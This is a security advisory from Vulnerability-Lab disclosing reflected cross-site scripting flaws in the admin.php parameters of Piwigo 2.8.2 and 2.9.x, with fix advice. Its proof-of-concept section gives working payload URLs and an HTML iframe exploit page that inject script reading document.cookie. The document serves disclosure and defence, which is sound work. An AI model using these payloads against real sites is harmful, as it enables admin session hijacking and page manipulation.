Document Title: =============== Piwigo v2.8.2 & 2.9.2 CMS - Multiple Cross Site Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2005 Release Date: ============= 2018-01-12 Vulnerability Laboratory ID (VL-ID): ==================================== 2005 Common Vulnerability Scoring System: ==================================== 3.6 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== Piwigo is a photo gallery software for the web, built by an active community of users and developers. Extensions make Piwigo easily customizable. Icing on the cake, Piwigo is free and opensource. Piwigo site is available to 13 languages, piwigo to 56 languages. (Copy of the Homepage: http://piwigo.org/ ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple client-side cross site scripting vulnerabilities in the Piwigo v2.8.2, 2.9.1 & 2.9.2 CMS. Vulnerability Disclosure Timeline: ================================== 2018-01-12: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Affected Product(s): ==================== Piwigo Product: Piwigo - Content Management System (Web-Application) 2.8.2 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple client-side cross site scripting vulnerabilities has been discovered in the Piwigo v2.8.2 content management system. The vulnerability allows remote attackers to inject malicious script code to client-side browser to web-application requests. The client-side cross site scripting vulnerabilities are located in the `tab`,`to`,`section`,`mode`, `installstatus` and `display` parameters of the `admin.php` file. Remote attackers are able to inject own malicious script code to hijack admin or moderator session credentials or to manipulate the affected webpages. The attack vector is non-persistent and the request method to inject is GET. The injection points are the vulnerable parameters and the execution point occurs in the status message or exception of the backend. The issues affect the backend within the vulnerable modules context. The security risk of the vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 3.6. Exploitation of the web vulnerability requires no privileged web-application user account and only low user interaction. Successful exploitation of the vulnerability results in non-persistent phishing attacks, session hijacking, non-persistent external redirect to malicious sources and non-persistent manipulation of affected or connected web module context. Request Method(s): [+] GET Vulnerable File(s): [+] admin.php Vulnerable Parameter(s): [+] tab [+] to [+] section [+] mode [+] installstatus [+] display Affected Module(s): [+] Backend Proof of Concept (PoC): ======================= The client-side xss vulnerabilities can be exploited by remote attackers without privileged user account and with low user interaction. For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue. PoC: Payloads http://piwigo.localhost:8080/piwigo/admin.php?page=languages&tab=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=updates&step=2&to=>"<iframe src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=configuration§ion=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=notification_by_mail&mode=>"<iframe src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=batch_manager&mode=&display=>"<img src=evil.source onload=alert(document.cookie)> http://piwigo.localhost:8080/piwigo/admin.php?page=plugins&tab=new&installstatus=>"<iframe src=evil.source onload=alert(document.cookie)> PoC: Exploitation <html> <head><body> <title>PIWIGO v2.8.2 - CLIENT SIDE XSS - POC EXPLOIT</title> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=languages&tab=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=updates&step=2&to=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=configuration§ion=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=notification_by_mail&mode=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=batch_manager&mode=&display=>"<img src=evil.source onload=alert(document.cookie)>> <iframe src=http://piwigo.localhost:8080/piwigo/admin.php?page=plugins&tab=new&installstatus=>"<img src=evil.source onload=alert(document.cookie)>> </body></head> </html> Vulnerable Source: tab (exception - undefined) Notice: Undefined index: >"<[MALICIOUS PAYLOAD EXECUTION!]> in /home/x/public_html/x/piwigo/admin/include/tabsheet.class.php on line 111 Warning: include(./admin/languages_>"<[MALICIOUS PAYLOAD EXECUTION!]>.php): failed to open stream: No such file or directory in /home/x/public_html/x/piwigo/admin/languages.php on line 48 Warning: include(): Failed opening './admin/languages_>"<[MALICIOUS PAYLOAD EXECUTION!]>.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /home/x/public_html/x/piwigo/admin/languages.php on line 48 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang="en" dir="ltr"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta name="generator" content="Piwigo (aka PWG), see piwigo.org"> <title>Just another Piwigo gallery :: Piwigo Administration</title> <link rel="shortcut icon" type="image/x-icon" href="themes/default/icon/favicon.ico"> Vulnerable Source: to (form) <form action="" method="post"> <p><input name="submit" value="Update to Piwigo <[MALICIOUS PAYLOAD EXECUTION!]> " type="submit"><<><[MALICIOUS PAYLOAD EXECUTION!]> "></p> <p class="autoupdate_bar" style="display:none;"> Update in progress...<br><img src="admin/themes/default/images/ajax-loader-bar.gif"></p> <p><input type="hidden" name="upgrade_to" value="<iframe>" ><<><[MALICIOUS PAYLOAD EXECUTION!]> "></p> </form> Vulnerable Source: installstatus (error exception) <div id="content" class="content"> <div id="tabsheet"> <ul class="tabsheet"> <li class="normal_tab"> <a href="admin.php?page=plugins&tab=installed"><span>Plugins list</span></a> </li> <li class="normal_tab"> <a href="admin.php?page=plugins&tab=update"><span>Check for updates</span></a> </li> <li class="selected_tab"> <a href="admin.php?page=plugins&tab=new"><span>Other plugins available</span></a> </li> </ul> </div> <div class="errors"> <ul> <li>An error occured during the files (<[MALICIOUS PAYLOAD EXECUTION!]>) extraction.</li> <li>Please check "plugins" folder and sub-folders permissions (CHMOD).</li> </ul> </div> Reference(s): http://piwigo.localhost:8080/ http://piwigo.localhost:8080/piwigo/ http://piwigo.localhost:8080/piwigo/admin.php Solution - Fix & Patch: ======================= The xss web vulnerabilities can be patched by a secure restriction to the parameter inputs in GET method requests. Sanitize the vulnerable parameters and disallow the usage of special chars to prevent further script code injection attacks. Parse the output locations in the status messages or exception to resolve the client-side vulnerabilities. Escape the conetnts to deliver in a secure format. Security Risk: ============== The security risk of the client-side cross site scripting web vulnerabilities in the content management system are estimated as medium. (CVSS 3.4) Credits & Authors: ================== Benjamin K.M. [bkm@xxxxxxxxxxxxxxxxxxxxx] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, phone numbers, conversations or anything else to journalists, investigative authorities or private individuals. Domains: www.vulnerability-lab.com - www.vulnerability-db.com - www.evolution-sec.com Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register.php Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Social: twitter.com/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get an ask permission. Copyright © 2018 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com